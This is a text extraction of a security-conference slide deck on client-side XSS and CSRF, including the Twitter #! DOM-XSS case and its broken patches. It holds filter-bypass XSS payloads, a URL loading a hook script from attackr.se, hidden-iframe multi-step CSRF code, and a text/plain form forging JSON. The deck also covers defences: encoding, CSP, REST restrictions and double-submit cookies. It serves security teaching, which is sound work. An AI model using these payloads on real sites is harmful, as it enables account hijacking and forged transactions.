  • 3. OWASP Top 10 Top web application security risks 2010
  • 4. 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards
  • 5. ”Do I have to care?”
  • 6. Likelihood of ≥ 1 vulnerability on your site From: WhiteHat Website Security Statistic Report, Winter 2011
  • 7. Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerability From: WhiteHat Website Security Statistic Report, Spring 2010
  • 8. But we’re moving towards more code client-side
  • 9. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 10. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 11. Focus Today • Part 1: Cross-Site Scripting (XSS) • Part 2: Cross-Site Request Forgery (CSRF)
  • 12. Part 1: XSS ... the hack that keeps on hacking
  • 13. Cross-Site Scripting Theory Scripting s-Site C ros
  • 14. Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph ish ing
  • 15. Cross-Site Scripting Type 2, stored s-S ite C ros
  • 16. Cross-Site Scripting Type 2, stored Scripting
  • 17. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros s-Sit e Ph ish in g
  • 18. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isin in the DOM. g
  • 20. https://secure.bank.com/ authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page
  • 21. Would you click this? https://secure.bank.com/authentication #language=<script src="http:// attackr.se:3000/hook.js"></ script>&country=SE
  • 22. Would you click this? https://secure.bank.com/authentication #language=%3Cscript%20src%3D%22http%3A %2F%2Fattackr.se%3A3000%2Fhook.js%22%3E %3C%2Fscript%3E&country=SE
  • 23. Would you click this? http://bit.ly/Yg4T32
  • 24. Filter out <script>? var ... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig, /** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */ stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, ""); }, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
  • 25. Filter out <script>? <img src=1 onerror=alert(1)> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <body onload=alert('XSS')> <table background="javascript:alert('XSS')"> ¼script¾alert(¢XSS¢)¼/script¾ <video poster=javascript:alert(1)//
  • 26. ”C’mon, such attacks don’t really work, do they?” Yep, demo.
  • 27. DOM-Based XSS Twitter September 2010 Full story at http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
  • 28. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 29. (function(g){ var a = What does this code do? location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 30. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 31. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path } })(window);
  • 32. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path } So })(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/
  • 34. http://twitter.com/ #!javascript:alert(document.domain); Never sent to server => DOM-based XSS
  • 35. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; }
  • 36. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; } Replaces the first occurance of the search string
  • 39. The 2nd Patch™ (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window);
  • 40. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters
  • 41. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match
  • 42. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match Ignore case
  • 45. http://twitter.com #!javascript&x58;alert(1) HTML entity version of ’:’
  • 46. The n:th Patch™ (this one works) (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; } })(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security
  • 47. Fix these issues properly with ... Client-Side Encoding
  • 48. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 49. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 50. Let’s do a short demo of that
  • 51. Also, check out ... Content Security Policy http://people.mozilla.com/~bsterne/ content-security-policy/
  • 52. New HTTP Response Header Saying ... Only allow scripts from whitelisted domains and only allow scripts from files, i.e. no inline scripts
  • 53. 'self' = same URL, protocol and port X-Content-Security-Policy: default-src 'self' Accept all content including scripts only from my own URL+port X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com
  • 54. Part2: CSRF against RESTful services and in several, semi-blind steps
  • 55. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  • 56. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  • 57. What’s on your mind? What’s on your mind? POST POST
  • 58. What’s on your mind? What’s on your mind? I love OWASP! POST POST
  • 59. What’s on your mind? What’s on your mind? I love OWASP! POST POST John: I love OWASP!
  • 60. What’s on your mind? What’s on your mind? POST POST
  • 61. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 62. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 63. What’s on your mind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP!
  • 64. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>
  • 65. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script>
  • 67. What about ”several steps”? Step 1 Step 2 Step 3
  • 68. Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  • 69. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  • 70. Can we forge timed GETs and POSTs in a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  • 71. csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 72. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 73. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 74. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 75. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 76. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 77. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 78. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { The wait for a GET CSRF is over imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); when onerror fires imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 79. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 80. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; } }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 81. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); is over The wait for a POST CSRF IFRAME_POSTER.havePosted = true; } when parent stops getting messages }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 82. var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'} ], appendIFrame = function(frame) { var domNode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideIFrames ? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domNode); }; … csrfMultiDriver.ht
  • 83. return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  • 84. Demo Multi-Step, Semi-Blind CSRF against amazon.com which has protection against CSRF. The intention is to show how you can test your own sites.
  • 85. There used to be a protection in web 1.5
  • 86. Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy!
  • 87. Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy!
  • 88. Forced Browsing wizard-style Shipment info ✉ Payment info $ Re-Auth Next Buy!
  • 89. Forced Browsing wizard-style Token 1 Token 2 Token 3
  • 90. Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between
  • 91. Forced Browsing wizard-style Token 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 92. But in RIAs ...
  • 93. RIA & client-side state { ”purchase”: {} }
  • 94. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 95. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 96. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 97. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 98. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 99. Can an attacker forge such a JSON structure?
  • 100. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 101. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 102. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 103. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 104. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /> </form>
  • 105. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form>
  • 106. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}//' value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form>
  • 107. Demo CSRF POST then Demo CSRF + XSS The Browser Exploitation Framework http://beefproject.com/
  • 108. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  • 109. Double Submit (CSRF Protection)
  • 110. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 111. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 112. Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state

Editor's Notes

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. \n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n
  93. \n
  94. \n
  95. \n
  96. \n
  97. \n
  98. \n
  99. \n
  100. \n
  101. \n
  102. \n
  103. \n
  104. \n
  105. \n
  106. \n
  107. \n
  108. \n
  109. \n
  110. \n
  111. \n
  112. \n
  113. \n